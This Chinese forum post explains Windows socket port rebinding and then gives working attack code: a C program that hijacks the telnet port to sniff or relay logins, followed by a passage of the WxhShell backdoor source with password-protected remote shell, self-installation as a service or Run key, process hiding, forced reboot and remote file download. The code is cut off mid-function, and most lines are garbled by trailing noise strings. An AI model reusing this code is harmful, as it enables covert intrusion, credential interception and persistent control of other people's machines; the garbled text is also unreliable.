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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ==]BrhZK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {[:]}m(c  
F`8B PWUY  
  saddr.sin_family = AF_INET; ~`Rb"Zn  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %k =c9ll@:  
>HL$=J_K?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ CNe)&U  
9kby-A4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {\p&?  
;&OVV+y  
  这意味着什么?意味着可以进行如下的攻击: ttfCiP$  
U@:h';.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q4e+vBECkq  
2Y1y;hCK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \6L,jSoBl  
X')t6DQ(I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }BN!Xa  
0 P2lq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P+<4w  
pSKw Xx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N;mJHr3[F  
5v_vv'~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0i4XS*vPv  
o ~`KOe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yBkcYHT  
6R'z3[K9  
  #include ?,  m_q+  
  #include 5Ei4$T  
  #include r(OH  
  #include    'aqlNBG*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q#_<J1)z  
  int main() Y{D?&x%yq  
  { _h^er+d!_  
  WORD wVersionRequested; %}[/lIxaE  
  DWORD ret; # ~(lY}  
  WSADATA wsaData; %@MO5#)NI  
  BOOL val; TW~%1G_v  
  SOCKADDR_IN saddr; /H~]5JZ3-E  
  SOCKADDR_IN scaddr; }F4%5go  
  int err; 2e^6Od!Y?  
  SOCKET s; - jWXE  
  SOCKET sc; k, >*.Yoh  
  int caddsize; (MzThGJK_  
  HANDLE mt; 7!PU}[:  
  DWORD tid;   +. tcEbFL  
  wVersionRequested = MAKEWORD( 2, 2 ); oZ\zi> Y,  
  err = WSAStartup( wVersionRequested, &wsaData ); ]Wg&r Y0  
  if ( err != 0 ) { k< $(  
  printf("error!WSAStartup failed!\n"); ,{Ga7rH*   
  return -1; `b*x}HP$  
  } M~l\rg8  
  saddr.sin_family = AF_INET; 0WQd#l  
   7 0Wy]8<P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?%ei+  
Y. KJP ?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h pKrP  
  saddr.sin_port = htons(23); ;U[W $w[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /WMJ#IE  
  { ;MH_pE/m  
  printf("error!socket failed!\n"); ZLlAK?N  
  return -1; avy@)iO7  
  } on.m '-s  
  val = TRUE; [Wn6d:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lXip%6c7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hka`STK{  
  { O &}`R5Y;  
  printf("error!setsockopt failed!\n"); *0/%R{+S  
  return -1; YJB/*SV^  
  } siz:YRur  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (sp{.bU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;7U"wI_~c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ![ @i+hl  
Y/]J0D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xp%LXx j  
  { [B@R(z=H  
  ret=GetLastError(); L*zfZ&  
  printf("error!bind failed!\n"); 8d[!"lL  
  return -1; Cig! 3  
  } S9{&.[O  
  listen(s,2); 6F; |x  
  while(1) KvmXRf*z  
  { HE@P<  
  caddsize = sizeof(scaddr); 6ANA oWg*  
  //接受连接请求 A \-r%&.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PMZ*ECIJU  
  if(sc!=INVALID_SOCKET) q DPl( WXb  
  { 91|~KR)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jwO7r0?\`G  
  if(mt==NULL) LX</xI08W  
  { JlE b  
  printf("Thread Creat Failed!\n"); :LLz$[c8  
  break; s)}EMDY  
  } N**" u"CX  
  } j$Vtd &  
  CloseHandle(mt); ^~W s4[Guo  
  } GB{Q)L  
  closesocket(s); , %A2wV  
  WSACleanup(); G5 *_  
  return 0; xM13OoU  
  }   sfR0wEqI  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,lQfsntk'  
  { cB_ 3~=fV  
  SOCKET ss = (SOCKET)lpParam; !yu-MpeG  
  SOCKET sc; zTg&W7oz  
  unsigned char buf[4096]; %B(E;t63W  
  SOCKADDR_IN saddr; Ns6C xE9  
  long num; \9k{h08s  
  DWORD val; t'*2)U  
  DWORD ret; /_i]bM7W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $!K,5^+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -~_;9[uV  
  saddr.sin_family = AF_INET; $: qrh66  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FB n . 4  
  saddr.sin_port = htons(23); ZG)6{WS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I 8 Ls_$[  
  { `! _mIh}  
  printf("error!socket failed!\n"); `q+Ug  
  return -1; 'J:xTp  
  } ?<~P)aVVj  
  val = 100; wj9 Hh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LEA^o"NW.  
  { Y*YV/E.  
  ret = GetLastError(); [Y8ot-6  
  return -1; G&#l3bkQ  
  } |3=tF"h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UB7C,:"  
  { Xagz(tm/  
  ret = GetLastError(); 4_w{~  
  return -1; |V mQ  
  } Vc&xXtm[v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FmhN*ZXr #  
  { z6'l" D'h  
  printf("error!socket connect failed!\n"); :PP!v!vk  
  closesocket(sc); %i@Jw  
  closesocket(ss); ~i=5NUE  
  return -1; CM 8Ub%  
  } rQ&F Gb  
  while(1) )P9&I.a8  
  { +A<7:`sO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p"Q V| `  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ty b-VO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7F8>w 7Y]  
  num = recv(ss,buf,4096,0); iQz c$y^,9  
  if(num>0) L lVE5f?  
  send(sc,buf,num,0); 6]Ri$V&"  
  else if(num==0) g42f*~l  
  break; uEdeA'*^  
  num = recv(sc,buf,4096,0); ::!{f+Up  
  if(num>0) &u0on) E  
  send(ss,buf,num,0); 'Ug-64f>  
  else if(num==0) L%fJH_$_s  
  break; i~.9 B7hdE  
  } hA387?  
  closesocket(ss); Jl{g"N{2u'  
  closesocket(sc); qWw{c&{Q],  
  return 0 ; O],]\M{GL  
  } v Yw$m#@  
#& &  
;"+]bne~  
========================================================== rB.LG'GG]  
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下边附上一个代码,,WXhSHELL ])mYE }g  
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========================================================== pF'M  
\-RVPa8k  
#include "stdafx.h" kcZz WG|n  
5 DvD  
#include <stdio.h> FWuk@t[<O  
#include <string.h> i`EG80\[Z  
#include <windows.h> qh/}/Sl;  
#include <winsock2.h> EALgBv>#ZL  
#include <winsvc.h> l5l#LsaQb  
#include <urlmon.h> jfsbvak  
,Cj` 0v#  
#pragma comment (lib, "Ws2_32.lib") >UB ozmF=\  
#pragma comment (lib, "urlmon.lib") at5=Zo[bP  
2qDVAq^@  
#define MAX_USER   100 // 最大客户端连接数 ( 2i{8  
#define BUF_SOCK   200 // sock buffer Y1L7sH 9  
#define KEY_BUFF   255 // 输入 buffer @1+({u#B  
OM#eJ,MH<)  
#define REBOOT     0   // 重启 S01 Bc  
#define SHUTDOWN   1   // 关机 'v_VyK*w  
5hE mXZ%  
#define DEF_PORT   5000 // 监听端口 XV:icY  
U-lN-/=l6  
#define REG_LEN     16   // 注册表键长度 gshgl3   
#define SVC_LEN     80   // NT服务名长度 b[ .pD3  
zM++ Z*  
// 从dll定义API Ap9 %5:]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :DR}lOi`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k+y>xI,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Mi&2AvS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +BkmI\  
afj[HJbY  
// wxhshell配置信息 ^fT?(y_= e  
struct WSCFG { ql%]t~HR0  
  int ws_port;         // 监听端口 'A#F< x  
  char ws_passstr[REG_LEN]; // 口令 /|aD,JVN"  
  int ws_autoins;       // 安装标记, 1=yes 0=no UeN+}`!l  
  char ws_regname[REG_LEN]; // 注册表键名 <#No t1R  
  char ws_svcname[REG_LEN]; // 服务名 GB` G(a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 av4g/7=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^HI}bS1+|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wsyAq'%L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b%D}mxbS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ky |Py  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h-=lZ~W~  
t.= 1<Ed  
}; 9e'9$-z  
J?84WS  
// default Wxhshell configuration `HJRXoLySW  
struct WSCFG wscfg={DEF_PORT, 9zD^4j7  
    "xuhuanlingzhe", Sz'JOBp  
    1, ad'C&^o5  
    "Wxhshell", TaE&8;H#N  
    "Wxhshell", ~t.M!vk  
            "WxhShell Service", 7&{[Y^R]"  
    "Wrsky Windows CmdShell Service", D+69U[P_A  
    "Please Input Your Password: ", 8^av&u$  
  1, 5_= HtM[v]  
  "http://www.wrsky.com/wxhshell.exe", Qr$Ay3#k  
  "Wxhshell.exe" \KT}T  
    }; 9ld'SB:#  
*/E5<DO  
// 消息定义模块 =U_O;NC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }='1<~0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <ZgbmRY8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M3/_E7Qoj  
char *msg_ws_ext="\n\rExit."; gDBdaxR<  
char *msg_ws_end="\n\rQuit."; 9 M!J7 W  
char *msg_ws_boot="\n\rReboot..."; Qlgii_?#@  
char *msg_ws_poff="\n\rShutdown..."; =RH7j  
char *msg_ws_down="\n\rSave to "; 3( `NHS~h  
O'~;|-Z<  
char *msg_ws_err="\n\rErr!"; t&L+]I'P3  
char *msg_ws_ok="\n\rOK!"; |XoW Z,K  
fC^POLn[f  
char ExeFile[MAX_PATH]; !;~6nYY  
int nUser = 0; ={gfx;  
HANDLE handles[MAX_USER]; L>1i~c&V  
int OsIsNt; B|(M xR6m  
cR"?EQ] `N  
SERVICE_STATUS       serviceStatus; wSd o 7Lb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QocR)aN=+  
Qg' {RAV8  
// 函数声明 j1U,X  
int Install(void); S1oP_A[|  
int Uninstall(void); Qfd4")zhG  
int DownloadFile(char *sURL, SOCKET wsh); [ #1<W`95  
int Boot(int flag); uf<nVdC.  
void HideProc(void); N)b.$aC  
int GetOsVer(void); yJG M"$  
int Wxhshell(SOCKET wsl); l=?G"1  
void TalkWithClient(void *cs); C AvyS  
int CmdShell(SOCKET sock); BA t0YE`-,  
int StartFromService(void); yPhTCr5pK  
int StartWxhshell(LPSTR lpCmdLine); U5x&? n<  
cop \o4ia  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uel^rfE`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T\Ld)'fNv  
K,Z_lP_~Vw  
// 数据结构和表定义 3T7,Y(<V  
SERVICE_TABLE_ENTRY DispatchTable[] = ;R8pVj!1f  
{ "de3S bj@?  
{wscfg.ws_svcname, NTServiceMain}, ofIw7D*h  
{NULL, NULL} RNB ha&  
}; C!Oz'~l  
0281"aO  
// 自我安装 oz[: T3oE>  
int Install(void) POtwT">z  
{ 6o!Y^^/U  
  char svExeFile[MAX_PATH]; V'jvI  
  HKEY key; 5fqQ;r  
  strcpy(svExeFile,ExeFile); "hi)p9 _cR  
HE0@`(mCpa  
// 如果是win9x系统,修改注册表设为自启动 98x&2(N  
if(!OsIsNt) { >p;cbp[ht  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #)hJ.0~3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bp>Z?"hTe  
  RegCloseKey(key); (viGL|Ogn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bw& U[|A0%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @K:TGo,%I  
  RegCloseKey(key); Q5~Y;0'  
  return 0; D?:AHj%gW  
    } ?<"H Io  
  } s2rwFj8 |  
} qkk!1W  
else { ?z$^4u3  
IGC:zZ~z  
// 如果是NT以上系统,安装为系统服务 O${B)C,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N,M[Opm  
if (schSCManager!=0) LWp#i8,  
{ 0v/}W(  
  SC_HANDLE schService = CreateService z1R_a=7  
  ( PH]/*LEj  
  schSCManager, 0M_~@E*&  
  wscfg.ws_svcname, 3!:?OUhx  
  wscfg.ws_svcdisp, EiP#xjn?c  
  SERVICE_ALL_ACCESS, 1Ff Sqd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :497]c3#5C  
  SERVICE_AUTO_START, pX~X{JTaL)  
  SERVICE_ERROR_NORMAL, M~jV"OF=  
  svExeFile, ndCHWhi  
  NULL, *[SOz)  
  NULL, P UJkC  
  NULL, 48 n5Y~YS  
  NULL, gc KXda(  
  NULL >.X& v  
  ); ?\7$63gBH  
  if (schService!=0) !:<(p  
  { #Z)8,N  
  CloseServiceHandle(schService); l k?@ =U~  
  CloseServiceHandle(schSCManager); 7)U08"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (o5^@aDr  
  strcat(svExeFile,wscfg.ws_svcname); V0ig#?]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S7Tc9"oqV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @P@j9yR  
  RegCloseKey(key); ]W9{<+&  
  return 0; aIXN wnq  
    } HJ]9e  
  } U6/$CH<pe  
  CloseServiceHandle(schSCManager); #o/  
} Z>)M{25  
} g&<3Kl  
S_ELV#X  
return 1; \J0fr'(S  
} E[8R )xC@  
2#hfBJg@  
// 自我卸载 k=D}i\F8  
int Uninstall(void) [')C]YQb=  
{ ,N`cH\  
  HKEY key; e*?@6E  
5_ \+8A*  
if(!OsIsNt) { V9%!B3Sb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jM%8h$&E  
  RegDeleteValue(key,wscfg.ws_regname); %Xfy.v  
  RegCloseKey(key); {I:nza  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zlhHSyK  
  RegDeleteValue(key,wscfg.ws_regname); nQ5N\RAZ  
  RegCloseKey(key); z 7 s&7)a  
  return 0; J% mtlA  
  } C1ZuDL)e  
} r]<?,xx [  
} )'3V4Z&  
else { J'H}e F`  
n&N>$c,T27  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !x@3U^${  
if (schSCManager!=0) V[RsSZx =  
{ dtDT^~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zHu w[  
  if (schService!=0) \zMx~-2oN  
  { _Q=h3(ZI  
  if(DeleteService(schService)!=0) { @}+F4Xh,L  
  CloseServiceHandle(schService); Ak'=/`+p  
  CloseServiceHandle(schSCManager); - D&d1`N4  
  return 0; 76BA1x+G  
  } c*c 8S~6  
  CloseServiceHandle(schService); C >gC 99  
  } x3L0;:Fx8P  
  CloseServiceHandle(schSCManager); .2v)x  
} VTIRkC wl@  
} IL&;2%  
'i5,2vT0  
return 1; La 9:qpj  
} W0qn$H  
T}r}uw`  
// 从指定url下载文件 7LrWS83  
int DownloadFile(char *sURL, SOCKET wsh) )r|Pm-:A{  
{ +F@ZVMp  
  HRESULT hr; aP}30E*Y  
char seps[]= "/"; 59X'-fg,  
char *token; t8_i[Hw6D  
char *file; )~LqBh  
char myURL[MAX_PATH]; >9i%Yuy](  
char myFILE[MAX_PATH]; l/6$BP U`  
t[=teB v<  
strcpy(myURL,sURL); ul!e!^qwx  
  token=strtok(myURL,seps); ^9`S`Bhp  
  while(token!=NULL) 9tBE=L=  
  { (D~NW*,9  
    file=token; <Dq7^,}#  
  token=strtok(NULL,seps); {wwkbc*  
  } /)/>/4O  
&(/QJ`*8  
GetCurrentDirectory(MAX_PATH,myFILE); mF`%Z~}b  
strcat(myFILE, "\\"); ';iLk[  
strcat(myFILE, file); gH<A.5 xy  
  send(wsh,myFILE,strlen(myFILE),0); ^P~NE#p5  
send(wsh,"...",3,0); >V|KS(}s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y??^[ sB  
  if(hr==S_OK) ^"!)p2=  
return 0; ;9"6g=q  
else Cj1nll8c  
return 1; DR c-L$bD  
A=bBI>GEYP  
} {O"N2W  
oF {u  
// 系统电源模块 RQQ\y`h`  
int Boot(int flag) hreG5g9{  
{ mh" 9V5T  
  HANDLE hToken; sRaTRL2  
  TOKEN_PRIVILEGES tkp; t^5xq8w8  
;oGpB#[zO  
  if(OsIsNt) { T'${*NVn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wG}Rh,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d*tn&d~k,  
    tkp.PrivilegeCount = 1; Q)L6+gW^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /pYp, ak  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %z "${ zw  
if(flag==REBOOT) { SsfHp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +5xk6RP   
  return 0; I6lWB(H!u  
} n1r'Y;G  
else { ("txj[v-/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -]!zj#&  
  return 0; 2Mw^EjR  
} 56 [+;*  
  } 6 H' W]T&  
  else { .F^372hH3  
if(flag==REBOOT) { JGG(mrvR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7L !$hk  
  return 0; ;+(EmD:Q  
} 07#e{   
else { ds "N*\.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9D,/SZ-v  
  return 0; rJw Ws  
} U])$#/ v  
} vHM,_I{  
zn2Qp  
return 1; kH">(f  
} -&QTy  
pWOK~=t  
// win9x进程隐藏模块 ;:Q&Rf"@%  
void HideProc(void) (Y:?qy  
{ AZf$XHP2  
+XoY@|Djd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =kDh:&u%  
  if ( hKernel != NULL ) ?*dt JL  
  { ck\TTNA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `g^bQ x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -APbN(Vi  
    FreeLibrary(hKernel); :O/QgGZN$  
  } K(75)/  
|$G|M=*LN  
return; =l+~}/7'Z  
} 'v0(ki#  
7 (pl HW|  
// 获取操作系统版本 i(an]%'v  
int GetOsVer(void) QUK v :;  
{ }2.0e5[  
  OSVERSIONINFO winfo; 9six]T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J|.n bSE  
  GetVersionEx(&winfo); k4+Q$3"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ux+UcBKm-  
  return 1; 9 `T2  
  else qLa6c2o,  
  return 0; yP0XA=,Y  
} 0+3{fD/  
6)[gF 1  
// 客户端句柄模块 u`Abko<D  
int Wxhshell(SOCKET wsl) ':#DROe!  
{ :)DvZxHE@  
  SOCKET wsh; ZIs=%6""&  
  struct sockaddr_in client; Apbgm[m|{  
  DWORD myID; e!oL!Zg  
]*TW%mY  
  while(nUser<MAX_USER) xV>sc;PEb  
{ {pz7ADK<  
  int nSize=sizeof(client); J?_-Dg(=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mIah[~G  
  if(wsh==INVALID_SOCKET) return 1; cxpG6c  
}II)<g'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SmCtwcB1  
if(handles[nUser]==0) gtRVXgI  
  closesocket(wsh); sM6o(=>  
else ,u^%[ejH  
  nUser++; @r3,|tkrz  
  } y7U?nP ')+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g[ O6WZ!F_  
 4 `]  
  return 0; \ fSo9$  
} tNC ;CP#R+  
^7iP!-w/  
// 关闭 socket Mt\.?V:  
void CloseIt(SOCKET wsh) ZYs?65.  
{ <8YIQA  
closesocket(wsh); !P@4dG  
nUser--; u]MQ(@HHF  
ExitThread(0); bEB9J- Q  
} +O!4~k^  
8 Az|SJ<  
// 客户端请求句柄 {Y1&GO;  
void TalkWithClient(void *cs) I]6,hygs  
{ 7Y6b<:4j  
8c5=Px2\  
  SOCKET wsh=(SOCKET)cs; +@qIDUiF3  
  char pwd[SVC_LEN]; D8\9nHUD`  
  char cmd[KEY_BUFF]; 7g-{ <d  
char chr[1]; ;YY nIb(  
int i,j; sfzDE&>'  
rj/1AK  
  while (nUser < MAX_USER) { &x)nK  
>9,:i)m_  
if(wscfg.ws_passstr) { 7=a=@D[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4a zqH;i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lQ!(l Ph  
  //ZeroMemory(pwd,KEY_BUFF); ~ugH2jiB  
      i=0; Y lhKP;  
  while(i<SVC_LEN) { bA\(oD+:  
'c#AGi9  
  // 设置超时 k%?qN,Cl  
  fd_set FdRead; >/G[Oo  
  struct timeval TimeOut; z yrjb 8  
  FD_ZERO(&FdRead); P#-p* 4  
  FD_SET(wsh,&FdRead); [7h/ 2La#  
  TimeOut.tv_sec=8; l`r O)7  
  TimeOut.tv_usec=0; .s\_H,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J6gn!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B_S))3   
ccwz:7r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g4&f2D5  
  pwd=chr[0]; FXh*!%"*  
  if(chr[0]==0xd || chr[0]==0xa) { 8u7QF4 Id  
  pwd=0; 9gac7(2`)  
  break; He1~27+99  
  } F0ylJ /E  
  i++; hq?F8 1  
    } ZwM d 22  
3u/ GrsF  
  // 如果是非法用户,关闭 socket N*SUA4bnuM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aEn*vun  
} 6f)7*j~  
vQ8$C 3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j<A<\K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gUH|?@f  
IAMtMO^L  
while(1) { H^<?h6T  
 Y}e3:\  
  ZeroMemory(cmd,KEY_BUFF); dpcU`$kt  
:eFyd`Syw  
      // 自动支持客户端 telnet标准   ~~}8D"  
  j=0; ]T._TZ"  
  while(j<KEY_BUFF) { &neB$m3y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #6mr'e1  
  cmd[j]=chr[0]; emIF{oP  
  if(chr[0]==0xa || chr[0]==0xd) { ubQr[/  
  cmd[j]=0; EOXuc9>G  
  break; [~ !9t9+~  
  } 85BB{ T;  
  j++; }c=YiH,o  
    } EpK7VW  
m O"Rq5  
  // 下载文件 2/ejU,S  
  if(strstr(cmd,"http://")) { |y&vMx~t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y\Wp} }  
  if(DownloadFile(cmd,wsh)) .t.4y. 97  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='6@^6y  
  else p~OX1RBI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \_MWZRMc5  
  } y\R-=Am".  
  else { :PNhX2F  
qRXHaQi@9  
    switch(cmd[0]) { F]cc?r312  
  r o8C^d]  
  // 帮助 (@Eb+8Zd  
  case '?': { 6kO+E5;X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wlpcuz@  
    break; %' eaW  
  } jvhD_L/  
  // 安装 Tsocc5gWZ*  
  case 'i': { h9QQ8}g  
    if(Install()) 7%W@Hr,%F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ihD|e&  
    else |nY+Nen7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~?B\+6<V  
    break; #J~xKyJi'  
    } ;}'Z2gZ B  
  // 卸载 Q}uh`?t  
  case 'r': { wsgT`M'J[  
    if(Uninstall()) @B9#Hrc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:2yFC  
    else ]W7&ZpF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Si68_]:^  
    break; n/^QPR$>.  
    } }[OEtd{  
  // 显示 wxhshell 所在路径 H>wXQ5?W;  
  case 'p': { S*%:ID|/C2  
    char svExeFile[MAX_PATH]; rd^j<  
    strcpy(svExeFile,"\n\r"); =z'533C  
      strcat(svExeFile,ExeFile); m Gx{Vpt  
        send(wsh,svExeFile,strlen(svExeFile),0); g_?bWm4br  
    break; lM.k *`$  
    } Kir|in)r0  
  // 重启 :@S=0|:j  
  case 'b': { 02C;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A+VzpJ~  
    if(Boot(REBOOT)) ^+Njz{rpG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z5W;-sCz  
    else { J7k=5Fqej;  
    closesocket(wsh); 5"w%  
    ExitThread(0); Tx(=4ALY  
    } Tvw(S q};  
    break; p7[&H/  
    } a KIS%M#Y  
  // 关机 4|NcWpaV7  
  case 'd': { 0$|wj^?U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); soqnr" 1  
